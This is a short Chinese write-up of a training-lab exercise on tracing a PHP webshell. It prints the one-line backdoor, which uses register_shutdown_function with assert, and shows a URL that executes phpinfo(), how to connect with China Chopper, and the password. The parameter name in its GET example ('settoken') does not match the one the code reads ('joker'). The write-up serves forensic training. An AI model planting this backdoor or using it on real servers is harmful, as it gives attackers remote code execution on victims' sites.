墨者学院 - WebShell代码分析溯源(第9题)
审查代码
1、先找到黑页所在目录,观察同层级的其他文件命名和修改时间,选中可疑文件审计代码
2、没有新的发现,就去目录查找,根据最后的修改时间排查。
<?php error_reporting(0); $e = $_REQUEST['e']; register_shutdown_function($e, $_REQUEST['joker']); ?>
浏览器GET提交:http://www.xxx.com/9.php?e=assert&settoken=phpinfo();即可执行phpinfo();
菜刀连接用法: http://www.xxx.com/9.php?e=assert
密码:joker
详解:register_shutdown_function()函数是来注册一个会在PHP中止时执行的函数,
PHP中止的情况有三种:
-
- 执行完成
- exit/die导致的中止
- 发生致命错误中止
-
- 这样的话等到php函数执行完成,就会调用我们传进去的php中止时执行的函数
构成 assert($_REQUEST['joker']) ,一句话木马 ,直接用菜刀链接即可